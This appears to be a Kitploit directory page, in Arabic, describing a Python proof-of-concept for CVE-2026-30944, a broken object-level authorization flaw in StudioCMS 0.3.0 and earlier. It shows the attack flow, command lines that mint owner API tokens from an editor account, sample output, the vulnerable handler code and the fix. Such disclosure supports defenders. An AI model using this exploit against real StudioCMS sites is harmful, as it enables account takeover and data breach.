Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-30944-PoC — إثبات مفهوم بلغة بايثون لثغرة CVE-2026-30944، تستغل ثغرة BOLA في StudioCMS لتصعيد الامتيازات عبر توليد غير آمن لرموز API. | Kitploit
أدوات/GitHubGitHub/filipegaudard/cve-2026-30944-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIأمن الويباختبار الاختراق
GitHubfilipegaudard/cve-2026-30944-poc

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-30944-PoC

إثبات مفهوم بلغة بايثون لثغرة CVE-2026-30944، تستغل ثغرة BOLA في StudioCMS لتصعيد الامتيازات عبر توليد غير آمن لرموز API.

عرض المستودع
منذ 5 أشهرلم تتم المراجعة بعد

🔓 CVE-2026-30944

تصعيد الصلاحيات في StudioCMS عبر توليد رموز API غير آمنة

CVE CVSS CWE Type

NVD • Advisory • CWE-639


نظرة عامة

يسمح نقطة النهاية POST /studiocms_api/dashboard/api-tokens في StudioCMS ≤ 0.3.0 لأي مستخدم مُصادق (بحد أدنى دور Editor) بتوليد رموز API لأي مستخدم آخر، بما في ذلك حسابات owner و admin.

تقبل نقطة النهاية معامل user في جسم الطلب يحدد UUID المستخدم الهدف ولكنها لا تتحقق أبدًا مما إذا كان المستخدم الطالب مخولًا بإنشاء رموز نيابة عن ذلك الهدف. هذه ثغرة Broken Object Level Authorization (BOLA) كلاسيكية تؤدي إلى تصعيد كامل للصلاحيات.

سير الهجوم

root@kitploit:~
┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Attacker   │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Server     │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Full user data as Owner]         │
       │                                           │

تفاصيل الثغرة


المحتويات

الملفالوصف
cve_2026_30944_poc.pyسكربت استغلال بلغة Python مع أوضاع يدوية وآلية
README.mdهذا الملف
LICENSEرخصة MIT

المتطلبات الأساسية

  • StudioCMS ≤ 0.3.0 (الإصدار المعرض للثغرة)
  • Python 3.8+
  • بيانات اعتماد صالحة لحساب Editor على الأقل
root@kitploit:~
pip install requests colorama

بدء سريع

الاستغلال اليدوي

root@kitploit:~
# توليد رمز API للمالك باستخدام حساب محرر
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# حفظ النتائج في ملف JSON
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

الاختبار الآلي

root@kitploit:~
# اختبار بأدوار متعددة لتأكيد الثغرة
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

الوسائط

مطلوبة

الوسيطالوصف
-u, --urlعنوان URL الأساسي لـ StudioCMS الهدف
--uuidUUID المستخدم الهدف (مثل حساب المالك)

الوضع اليدوي

الوسيطالوصف
--usernameاسم المستخدم للمصادقة
--passwordكلمة المرور للمصادقة

وضع الاختبار الآلي

اختيارية

الوسيطالوصف
--saveحفظ النتائج في ملف JSON
--no-ssl-verifyتعطيل التحقق من شهادة SSL

مثال على المخرجات

نظام معرض للثغرة

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] Authenticated as 'editor01'
  [*] Session user: editor01 (editor)
  [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [+] API token generated successfully!
  [!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3: Verification
  ──────────────────────────────────────────────────────────
  [*] Verifying token access on REST API...
  [+] VULNERABILITY CONFIRMED — Full API access achieved!
  [*] Retrieved 9 user records

نظام مُصلح

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [*] Access denied (403 Forbidden) — endpoint may be patched
  [-] Exploitation failed — token not generated

السبب الجذري

يقبل المعالج المعرض للثغرة في packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (الأسطر 16–57) معامل user من جسم JSON ويمرره مباشرة إلى دالة توليد الرمز دون فحوصات تفويض:

root@kitploit:~
// [1] Only checks if caller is editor — not WHO they're creating a token for
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 'user' from request body — no validation against authenticated session
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] Passed directly to token generation — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

نموذج التفويض يتحقق فقط من "هل المتصل محرر على الأقل؟" بدلاً من "هل المتصل مخول بإنشاء رمز لهذا المستخدم المحدد؟"


التأثير

  • تصعيد الصلاحيات — يمكن لأي محرر تصعيد وصوله إلى مستوى وصول API للمالك
  • وصول كامل للـ API — الرمز المولد يمنح وصولًا غير مقيد لجميع نقاط نهاية REST
  • الاستيلاء على الحساب — يمكن للمهاجم انتحال شخصية أي مستخدم بتحديد UUID الخاص به
  • خرق البيانات — الوصول إلى قوائم المستخدمين والمحتوى وإعدادات النظام

التخفيف

قم بتحديث StudioCMS إلى الإصدار 0.4.0 أو أحدث:

root@kitploit:~
npm install studiocms@latest

إخلاء مسؤولية قانوني

هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط.

  • استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها
  • الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني في معظم الدول
  • المؤلف لا يتحمل أي مسؤولية عن سوء استخدام هذه الأداة
  • اتبع دائمًا ممارسات الإفصاح المسؤول

المراجع

  • CVE: CVE-2026-30944
  • Advisory: GHSA-667w-mmh7-mrr4
  • CWE: CWE-639 — تجاوز التفويض عبر مفتاح يتحكم به المستخدم
  • OWASP: API1:2023 — Broken Object Level Authorization
  • MITRE ATT&CK: T1134 — التلاعب برموز الوصول

المؤلف

Filipe Gaudard


الترخيص

تم إصدار هذا الـ PoC بموجب رخصة MIT لأغراض تعليمية. استخدمه بمسؤولية وأخلاقية.

تنزيل الأداة
الحقلالقيمة
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8 (عالية) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639: تجاوز التفويض عبر مفتاح يتحكم به المستخدم
CWE (ثانوي)CWE-863: تفويض غير صحيح
MITRE ATT&CKT1134 — التلاعب برموز الوصول
OWASP APIAPI1:2023 — Broken Object Level Authorization
المتأثرstudiocms ≤ 0.3.0
تم الإصلاح فيstudiocms 0.4.0
الوسيطالوصف
--auto-testتفعيل الاختبار الآلي متعدد الأدوار
--editor-userاسم مستخدم حساب المحرر
--editor-passكلمة مرور حساب المحرر
--visitor-userاسم مستخدم حساب الزائر
--visitor-passكلمة مرور حساب الزائر